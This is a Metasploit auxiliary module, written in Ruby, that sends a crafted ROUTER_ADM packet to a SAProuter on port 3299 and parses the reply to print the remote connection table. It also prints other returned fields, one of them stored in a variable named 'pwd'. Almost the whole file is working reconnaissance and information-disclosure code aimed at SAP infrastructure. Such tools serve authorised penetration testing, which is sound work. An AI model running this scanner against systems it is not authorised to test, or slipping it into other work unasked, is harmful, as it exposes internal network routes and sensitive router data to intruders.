## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## ## # This module is based on, inspired by, or is a port of a plugin available in # the Onapsis Bizploit Opensource ERP Penetration Testing framework - # http://www.onapsis.com/research-free-solutions.php. # Mariano Nunez (the author of the Bizploit framework) helped me in my efforts # in producing the Metasploit modules and was happy to share his knowledge and # experience - a very cool guy. # # The following guys from ERP-SCAN deserve credit for their contributions - # Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and # Dmitry Evdokimov. # # I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis # who have Beta tested the modules and provided excellent feedback. Some people # just seem to enjoy hacking SAP :) ## require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'SAPRouter Admin Request', 'Description' => %q{ Display the remote connection table from a SAPRouter. }, 'References' => [ [ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ], [ 'URL', 'http://help.sap.com/saphelp_nw70ehp3/helpdata/en/48/6c68b01d5a350ce10000000a42189d/content.htm'], [ 'URL', 'http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2%20-%20Mariano%20Nunez%20Di%20Croce%20-%20SAProuter%20.pdf' ] ], 'Author' => [ 'Mariano Nunez', # Disclosure about SAPRouter abuses 'nmonkee' # Metasploit module ], 'License' => BSD_LICENSE ) register_options( [ Opt::RPORT(3299) ], self.class) end def get_data(size, packet_len) info = '' 1.upto(size) do |i| data = sock.recv(1) packet_len -= 1 if data == "\x00" sock.recv(size - i) packet_len -= size - i return info, packet_len break else info << data end end end def run_host(ip) host_port = "#{ip}:#{datastore['RPORT']}" type = 'ROUTER_ADM' version = 0x26 cmd = 0x2 count = 0 connected = true port = datastore['RPORT'] source = '' destination = '' service = '' ni_packet = type + [0,version,cmd,0,0].pack("c*") ni_packet = [ni_packet.length].pack('N') << ni_packet saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "[SAP] SAProuter Connection Table for #{ip}", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, 'Columns' => [ "Source", "Destination", "Service" ]) begin connect rescue ::Rex::ConnectionRefused print_status("#{host_port} - Connection refused") connected = false rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error print_status("#{host_port} - Connection timeout") connected = false rescue ::Exception => e print_error("#{host_port} - Exception #{e.class} #{e} #{e.backtrace}") connected = false end if connected print_good("#{host_port} - Connected to saprouter") print_good("#{host_port} - Sending ROUTER_ADM packet info request") sock.put(ni_packet) sock_res = sock.read(4) unless sock_res fail_with(Failure::Unknown, 'Unable to get the packet length') end packet_len = sock_res.unpack('H*')[0].to_i 16 print_good("#{host_port} - Got INFO response") while packet_len !=0 count += 1 case count when 1 if packet_len > 150 if sock.recv(150) =~ /access denied/ print_error("#{host_port} - Access denied") sock.recv(packet_len) packet_len = sock.recv(4).unpack('H*')[0].to_i 16 else packet_len -= 150 source, packet_len = get_data(46,packet_len) destination, packet_len = get_data(46,packet_len) service, packet_len = get_data(30,packet_len) sock.recv(2) packet_len -= 2 saptbl << [source, destination, service] while packet_len > 0 sock.recv(13) packet_len -= 13 source, packet_len = get_data(46,packet_len) destination, packet_len = get_data(46,packet_len) service, packet_len = get_data(30,packet_len) term = sock.recv(2) packet_len -= 2 saptbl << [source, destination, service] end packet_len = sock.recv(4).unpack('H*')[0].to_i 16 end else print_error("#{host_port} - No connected clients") sock.recv(packet_len) packet_len = sock.recv(4).unpack('H*')[0].to_i 16 end when 2 data = sock.recv(packet_len) packet_len -= packet_len packet_len = sock.recv(4).unpack('H*')[0].to_i 16 when 3 clients = sock.recv(packet_len) packet_len -= packet_len packet_len = sock.recv(4).unpack('H*')[0].to_i 16 when 4 pwd = sock.recv(packet_len) print_good(pwd) packet_len -= packet_len packet_len = sock.recv(4).unpack('H*')[0].to_i 16 when 5 routtab = sock.recv(packet_len) print_good(routtab) packet_len -= packet_len packet_len = sock.recv(4).unpack('H*')[0].to_i 16 end if packet_len == 0 break end end disconnect # TODO: This data should be saved somewhere. A note on the host would be nice. print_line(saptbl.to_s) end end end